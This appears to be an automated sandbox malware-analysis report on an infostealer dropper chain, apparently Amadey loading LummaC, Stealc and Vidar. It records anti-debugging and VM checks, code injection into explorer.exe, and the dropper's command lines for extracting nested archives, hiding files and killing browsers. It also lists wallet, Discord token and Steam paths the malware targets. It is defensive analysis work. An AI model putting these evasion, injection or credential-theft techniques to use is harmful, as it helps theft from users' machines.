Software\Valve\SSteamPat\config\config.vDialogConfig.vdflibraryfolders.vloginuse\Steam\sqlite3.browsers\Discord\tokens.HTTP/1.1file_nammessagescreensh
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VMwareVM
Source: skotes.exe, 00000006.00000002.2983995817.0000000000F79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2983995817.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 1747150d4f.exe, 00000007.00000003.2901698864.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.000000000149E000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2705613542.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d6cdb1061b.exe, 00000029.00000002.2967658282.00000000005BD000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VMwareVMware
Source: 8ef456fdd1.exe, 00000009.00000003.2705613542.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2784742087.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2759339152.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2733721599.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2648457319.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2810115729.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWRw(
Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: firefox.exe, 00000037.00000002.3004995776.00000230F68BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000000.1706315091.0000000001134000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000001.00000000.1724643037.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000000.1735737062.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000001.2300884121.0000000000214000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2300616823.0000000000214000.00000080.00000001.01000000.00000007.sdmp, 8ef456fdd1.exe, 00000009.00000002.2967776824.00000000009B3000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1747150d4f.exe, 00000007.00000003.2901698864.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;?
Source: PING.EXE, 00000024.00000002.2770387807.000001FF1CA9B000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000027.00000002.2783510774.00000191CF758000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_057B0C9B rdtsc

0_2_057B0C9B

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_0043B480 LdrInitializeThunk,

7_2_0043B480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8652B mov eax, dword ptr fs:[00000030h]	0_2_00F8652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8A302 mov eax, dword ptr fs:[00000030h]	0_2_00F8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0006A302 mov eax, dword ptr fs:[00000030h]	1_2_0006A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0006652B mov eax, dword ptr fs:[00000030h]	1_2_0006652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0006A302 mov eax, dword ptr fs:[00000030h]	2_2_0006A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0006652B mov eax, dword ptr fs:[00000030h]	2_2_0006652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0006A302 mov eax, dword ptr fs:[00000030h]	6_2_0006A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0006652B mov eax, dword ptr fs:[00000030h]	6_2_0006652B
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F2F480 mov eax, dword ptr fs:[00000030h]	7_2_00F2F480
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 7_2_00F2E840 mov eax, dword ptr fs:[00000030h]	7_2_00F2E840

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_00F42200 GetCurrentProcessId,GetCurrentThread,GetProcessHeap,

7_2_00F42200

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Memory written: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 2892 base: 71F010 value: 00

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 2892

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe "C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe "C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe "C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe "C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe "C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 6e8fec8a4f.exe, 0000002A.00000000.2843212408.0000000000EC2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 8ef456fdd1.exe, 00000009.00000002.2967776824.00000000009B3000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: sProgram Manager
Source: firefox.exe, 00000037.00000002.2976088522.0000007B6A50B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: file.exe, 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: 7p'Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0004DD91 cpuid

6_2_0004DD91

Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F6CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00F6CBEA

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 1747150d4f.exe, 00000007.00000003.2856759428.0000000001554000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 6e8fec8a4f.exe PID: 3900, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1747150d4f.exe PID: 7216, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 8b334ae3d2.exe PID: 5700, type: MEMORYSTR

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: d6cdb1061b.exe PID: 5236, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 8b334ae3d2.exe, 00000028.00000002.2970973072.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 1747150d4f.exe, 00000007.00000003.2824992014.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/ElectronCash
Source: 1747150d4f.exe, 00000007.00000003.2829634235.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
